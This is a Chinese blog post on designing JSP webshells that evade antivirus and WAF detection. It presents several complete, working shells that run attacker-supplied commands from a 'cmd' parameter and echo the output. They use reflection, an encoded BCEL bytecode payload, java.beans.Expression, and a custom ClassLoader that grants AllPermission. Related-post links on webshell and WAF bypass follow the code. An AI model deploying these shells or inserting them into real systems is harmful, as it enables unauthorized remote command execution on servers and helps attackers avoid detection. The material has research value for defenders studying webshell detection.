JSP Webshell免杀设计

@author:drag0nf1y

介绍

什么是Webshell?

被服务端解析执行的php、jsp文件

什么是RCE?

  1. remote command execute
  2. remot code execute

Java没有eval这样的函数,只能执行命令,想要执行代码可以自定义一个类加载器,来加载字节码。

方式

基本的反射

<%@ page import="java.lang.reflect.Method" %>
<%@ page import="java.lang.reflect.Field" %>
<%@ page language="java" pageEncoding="UTF-8" %>
<% String cmd = request.getParameter("cmd");
Class<?> rt =Class.forName("java.lang.Runtime");
// Field cr = rt.getDeclaredField("currentRuntime");
// cr.setAccessible(true);
// Runtime crt = (Runtime) cr.get(null);
Method grmethod = rt.getMethod("getRuntime");
Method method = rt.getMethod("exec", String.class);
// 执行 method.invoke(),返回getRuntime对象
Object object = method.invoke(grmethod.invoke(null),cmd);
Process process = (Process) object; // 回显
java.io.InputStream in = process.getInputStream();
out.print("<pre>");
java.io.InputStreamReader resultReader = new java.io.InputStreamReader(in);
java.io.BufferedReader stdInput = new java.io.BufferedReader(resultReader);
String s = null;
while ((s = stdInput.readLine()) != null) {
out.println(s);
}
out.print("</pre>");
%>

BCEL

BCEL的全名应该是Apache Commons BCEL,属于Apache Commons项目下的一个子项目。Apache Commons大家应该不陌生,反序列化最著名的利用链就是出自于其另一个子项目——Apache Commons Collections。

BCEL库提供了一系列用于分析、创建、修改Java Class文件的API。

就这个库的功能来看,其使用面远不及同胞兄弟们,但是他比Commons Collections特殊的一点是,它被包含在了原生的JDK中,位于com.sun.org.apache.bcel

优势:没有Runtime或者exec这些明显的特征,所以可以做到免杀。

<%@ page import="java.lang.reflect.Constructor" %>

<%@ page language="java" pageEncoding="UTF-8" %>

<%

​    String cmd = request.getParameter("cmd");

​    String bcel = "$$BCEL$$$l$8b$I$A$A$A$A$A$A$A$85T$ddR$d3P$Q$feN$JM$h$C$85$d2B$R$7fQ$a4$z$85$fa$83$7f$UQA$40$b4$a0C$j$9c$5e$a6$e9$B$83i$d2I$T$867$f2Vg$b4ud$c6K$_$7c$A$l$c2gp$c4$3di$a1t$a8$e3$c5$d9sv$bf$3d$bb$dfn$f6$e4$c7$9f$af$df$A$ccaS$c1$Q22f$U$E$c4$3e$x$p$ab$e0$Gn$KqK$c1m$cc$v$e8$c5$j$F$S$ee$KqO8$de$P$e1$81$d8$e7$c3$YDN$c6$82$8c$87$MA$87$d7$3c$d3e$88$e6$f7$b4$7d$zkj$d6n$b6$e0$3a$86$b5$9b$pt$c1$b0$Mw$91$n$9e$3c$L$a7$b6$Z$a4e$bb$cc$Z$oy$c3$e2$9b$5e$a5$c4$9d$d7Z$c9$e4$o$9c$adk$e6$b6$e6$YBo$Z$r$f7$adQ$a3$a8$f9$95$7d$c3$a4$f0$3dz$a5$cc$Q$a8$95$Y$c6$ce$c4_$f2$M$b3$cc$9d$9c$cfQ$a3$TC$a2$e9d$d8$d9$rog$87$3b$bc$bc$e5$p$e4$p$99$c4$80$a1$bf$e0j$fa$bb$N$ad$eag$f4$8b$5c$a4FQ$8f$Y$94$95$D$9dW$5d$c3$b6j2$k1$84$5c$bb$99$89$n$96Lu$x_$v$d8$9e$a3$f3UC$90$P$L$d2$b3$c2KE$M$8f$ZF$ff$c1$98a$a4$3bM$aa$f2$YX$b7$aa$9eK$b7$b8Vib2$9e$a8X$c2$b2$8a$a7X$91$b1$aab$N$cfD$a2u$n$9e$abx$81$94$8a$3c6$Y$98$a2$o$v$b4$u$86$a9pA$8ba$b0M$e6ei$8f$ebn$87$e9$b8$ce$e1$b6$e9$a4$Z$f4$Z$92$e2S$O$b5$b1$z$cfr$8d$K$d5$ac$ecr$f7D$89w4$a9e$W$ad$e7$H$5cg$98$ea6$o$a7L$af$i$5b$e7$b5Z$ae$pS$cb$c80$40$99N5$85$ba$7b$9c$ad$b3$5bt$3d$91$ec$K$88$g$86$dbPk2$845$q$e6$t$ef$cfGP$abV$b9EC7$f3$l$b6$9d3$88$x$f4f$86$e8$f11Z$d4v$92$B$3a$c7$Q$a7$7d$84$b4$9f$I$d2$8b$D$d6$d2$N$b0C$E$8a$N$f4l$iB$w$k$a2$b7$f8$F$c1$e9$3a$e4$3aB$N$84$hP6g$ea$e8$x$ceK$df$R$cd$8cIu$a8$d1$7e$So$de$l$fdJg$ea$Y$f8$8c$c8G$K$d5$83Q$92$T$I$91$M$d3$p$ee$83$K1$L$D$98$q$wY$a2$b1H$e9W$c9$x$e1$ff$V$fc$f4$Y$c39$c0$3f$8d$TMF7r8$8f$LDs$92b$5d$c4$r$8a$9b$n$ec2$a1$S$95$F$3a$H$8e$I$94dL$c8$b8$w$e3$9aL$g$7e$pA$g$ae$93$83Da$a6h$d1$cc$91$U$d5fi$X$9d$e8M$7fB$e4$83$df$M$c15$e8$h$c7$7d$3ej$d3$a1$c5$87$n$ed$7bM$ff$F$c9$d3$5b$u$c4$E$A$A";

​    //获取class(ClassLoader 的对象的描述)

​    Class<?> _loader = Class.forName("com.sun.org.apache.bcel.internal.util.ClassLoader");

​    //获得真正的对象实例

​    ClassLoader loader = (ClassLoader) _loader.newInstance();

​    Class<?> _obj = loader.loadClass(bcel);

​    Constructor<?> constructor = _obj.getConstructor(String.class);

​    Object obj = constructor.newInstance(cmd);

​    response.getWriter().println("<pre>");

​    response.getWriter().println(obj.toString());

​    response.getWriter().println("</pre>");

%>

BeansExpression

Java自带的一个Java.beans.Expression里面有一个getValue()的类,如果在构造的时候传入一些执行参数的话,就会直接执行,并且回显执行结果。

<%@ page import="java.beans.Expression" %>
<%@ page import="java.io.InputStreamReader" %>
<%@ page import="java.io.BufferedReader" %>
<%@ page import="java.io.InputStream" %>
<%@ page language="java" pageEncoding="UTF-8" %>
<%
String cmd = request.getParameter("cmd");
Expression expr = new Expression(Runtime.getRuntime(), "exec", new Object[]{cmd});
//返回值是一个process的object
Process process = (Process) expr.getValue();
InputStream in = process.getInputStream(); StringBuilder sb = new StringBuilder();
response.getWriter().print("<pre>");
//回显的返回结果是一个流,用 InputStreamReader 来读取
InputStreamReader resultReader = new InputStreamReader(in);
//再包一层BufferedReader读字符串
BufferedReader stdInput = new BufferedReader(resultReader);
String s = null;
//BufferedReader的readline逐行字符串
while ((s = stdInput.readLine()) != null) {
sb.append(s).append("\n");
}
response.getWriter().print(sb.toString());
response.getWriter().print("</pre>");
%>

自定义ClassLoader

与BCEL是一样的,BCEL是给一段特殊的字节码,用他的bcel classloader来进行加载,不过这里加载的是真正的字节码,通过自定义的ClassLoader来进行加载。

Evil.java

import java.io.BufferedReader;
import java.io.InputStreamReader; public class Evil {
String result;
public Evil(String cmd) throws Exception {
//读结果
StringBuilder sb = new StringBuilder();
BufferedReader reader = new BufferedReader(
// 获取输入流
new InputStreamReader(Runtime.getRuntime().exec(cmd).getInputStream())
);
String line; //临时变量
while ((line = reader.readLine()) != null) {
sb.append(line).append("\n");
//读到回显结果
}
this.result = sb.toString();
//System.out.println(new Evil(cmd));
} @Override
public String toString() {
return result;
}
}

将上文的类使用javac编译为字节码。通常在代码中加载字节码的过程会进行Base64编码。于是具体的代码中使用Base64解码后,转为类对象,手动触发该类的构造方法即可实现Webshell的功能。

String cmd = request.getParameter("cmd");
ClassLoader loader = new ClassLoader() {...};
Class<?> clazz = loader.loadClass("ByteCodeEvil");
Constructor<?> constructor = clazz.getConstructor(String.class);
String result = constructor.newInstance(cmd).toString();

实际上自定义ClassLoader这个过程并不简单,注意到ClassLoader是无法直接在运行时加载字节码的,至少需要重写findClass方法和loadClass方法。

其中loadClass方法会先查找该类是否已被加载,调用findLoadedClass方法。

如果没有找到,则会调用loadClass方法;如果还是没有找到,会调用findClass方法。如果没有重写该方法的情况,默认是抛出异常。如果重写了该方法,则会自定义加载,重写loadClass方法的代码如下,当我们加载的是指定名称的类时,就调用重写后的findClass方法。

@Override
public Class<?> loadClass(String name) throws ClassNotFoundException {
if (name.contains("ByteCodeEvil")) {
return findClass(name);
}
return super.loadClass(name);
}

最终的自定义类加载器JSP Webshell如下

<%@ page import="java.lang.reflect.Constructor" %>
<%@ page import="java.util.Base64" %>
<%@ page import="java.security.cert.Certificate" %>
<%@ page import="java.security.*" %>
<%
ClassLoader loader = new ClassLoader() {
@Override
public Class<?> loadClass(String name) throws ClassNotFoundException {
if(name.contains("ByteCodeEvil")){
return findClass(name);
}
return super.loadClass(name);
} @Override
protected Class<?> findClass(String name) throws ClassNotFoundException {
try {
byte[] bytes = Base64.getDecoder().decode("");
PermissionCollection pc = new Permissions();
pc.add(new AllPermission());
ProtectionDomain protectionDomain = new ProtectionDomain(new CodeSource(null, (Certificate[]) null), pc, this, null);
return this.defineClass(name, bytes, 0, bytes.length, protectionDomain);
} catch (Exception e) {
e.printStackTrace();
}
return super.findClass(name);
}
}; String cmd = request.getParameter("cmd");
Class<?> clazz = loader.loadClass("ByteCodeEvil");
Constructor<?> constructor = clazz.getConstructor(String.class);
String result = constructor.newInstance(cmd).toString();
response.getWriter().print(result);
%>

JSP Webshell免杀设计的更多相关文章

  1. Webshell免杀绕过waf

    转自圈子404师傅 0x01 前言# 尽最大努力在一文中让大家掌握一些有用的WEBSHELL免杀技巧 0x02 目录# 关于eval 于 assert 字符串变形 定义函数绕过 回调函数 回调函数变形 ...

  2. [9期]软WAF上传绕过+webshell免杀

    安全狗上传绕过 思路: 1.扰乱编码 form-data 替换成 ~form-data           form-data    改成 f+orm-data form-data    改成 for ...

  3. Webshell免杀研究

    前言 不想当将军的士兵不是好士兵,不想getshell的Hacker不是好Hacker~有时候我们在做攻防对抗时经常会碰到可以上传webshell的地方,但是经常会被安全狗.D盾.护卫神.云锁等安全软 ...

  4. 流包装器实现WebShell免杀

    说明: 本文首发自 https://www.secpulse.com/archives/73391.html ,转载请注明出处. 前言 本文是看PHP使用流包装器实现WebShell有感,权当做个笔记 ...

  5. PHP7.1后webshell免杀

    严格的D盾 D盾说,我是个严格的人,看到eval我就报木马,"看着像"="就是"木马,宁可错杀一千,绝不放过一个.好了,多说无益,一起看看严格的D盾是如何错杀的 ...

  6. Webshell免杀

    过狗过D盾 <?php class me{ public $a = ''; function __destruct(){ assert("$this->a"); }}$ ...

  7. 全方位构造免杀 webshell 小结[一]

    转载自https://klionsec.github.io/2017/10/11/bypasswaf-for-webshell/   全方位构造免杀 webshell 小结[一]   前言:    本 ...

  8. 绕过网站安全狗拦截,上传Webshell技巧总结(附免杀PHP一句话)

    这篇文章我介绍一下我所知道的绕过网站安全狗上传WebShell的方法. 思路是:修改HTTP请求,构成畸形HTTP请求,然后绕过网站安全狗的检测. 废话不多说,切入正题.... 1.实验环境: Win ...

  9. 分析一个免杀webshell发现的php特性

    文章首发于t00ls,嫌文章太啰嗦的可以直接看结论 起源 之前看到别人分享的一个免杀webshell: <?php @$GLOBALS{next} = $GLOBALS[$GLOBALS[fun ...

随机推荐

  1. RAID磁盘阵列技术

    RAID磁盘阵列技术 1.RAID概述 RAID(Redundant Array of Independent Disk),从字面意思讲的是基于独立磁盘的具有冗余的磁盘阵列,其核心思想是将多块独立磁盘 ...

  2. React报错之Expected an assignment or function call and instead saw an expression

    正文从这开始~ 总览 当我们忘记从函数中返回值时,会产生"Expected an assignment or function call and instead saw an express ...

  3. Java SE 15 新增特性

    Java SE 15 新增特性 作者:Grey 原文地址:Java SE 15 新增特性 源码 源仓库: Github:java_new_features 镜像仓库: GitCode:java_new ...

  4. .NET 纯原生实现 Cron 定时任务执行,未依赖第三方组件

    常用的定时任务组件有 Quartz.Net 和 Hangfire 两种,这两种是使用人数比较多的定时任务组件,个人以前也是使用的 Hangfire ,慢慢的发现自己想要的其实只是一个能够根据 Cron ...

  5. Miller Rabbin 算法—费马定理+二次探测+随机数 (讲解+例题:FZU1649 Prime number or not)

    0.引入 那年,机房里来了个新教练, 口胡鼻祖lhy 第一节课,带我们体验了暴力的神奇, 第二节课,带我们体验了随机数的玄妙, -- 那节课,便是我第一次接触到Miller Rabbin算法, 直到现 ...

  6. 第三十一篇:vue3和vue2的不同

    好家伙 1.为什么会有vue3? Vue2和Vue3的区别 - 简书 (jianshu.com) 貌似是因为他的对手太优秀,所以他也必须进步 2.什么是api? 从文件操作开始谈API. 以C语言为例 ...

  7. KingbaseES V8R6 锁等待检测

    背景 对于多数数据库,dba技能之一就是查找锁.锁的存在有效合理的在多并发场景下保证业务有序进行.下面我们看一下KingbaseESV8R6中查找阻塞的方法. 1.找到"被阻塞者" ...

  8. Job And Schedule (V8R6C4)

    KingbaseES 数据库提供了 kdb_schedule 扩展,使得用户能通过类似oracle job 的方式进行job调用.kdb_schedule 提供了三个Schema :dbms_job ...

  9. Windows编程之线程同步

    本笔记整理自:<Windows核心编程(第五版)> 目录 什么是线程同步 用户方式中的线程同步 原子访问:Interlocked系列函数 CRITICAL_SECTION:关键段 内核对象 ...

  10. 带你了解CANN的目标检测与识别一站式方案

    摘要: 了解通用目标检测与识别一站式方案的功能与特性,还有实现流程,以及可定制点. 本文分享自华为云社区<玩转CANN目标检测与识别一站式方案>,作者: Tianyi_Li. 背景介绍 目 ...